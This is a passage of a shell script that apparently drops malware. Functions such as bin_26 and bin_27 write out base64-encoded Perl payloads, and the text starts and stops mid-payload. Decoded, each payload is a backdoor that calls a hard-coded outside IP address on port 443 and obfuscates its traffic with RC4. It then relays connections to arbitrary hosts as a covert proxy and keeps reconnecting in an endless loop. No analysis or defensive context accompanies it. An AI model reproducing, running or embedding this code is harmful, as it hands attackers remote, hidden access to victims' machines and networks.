YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_26() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODMnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_27() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODQnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg 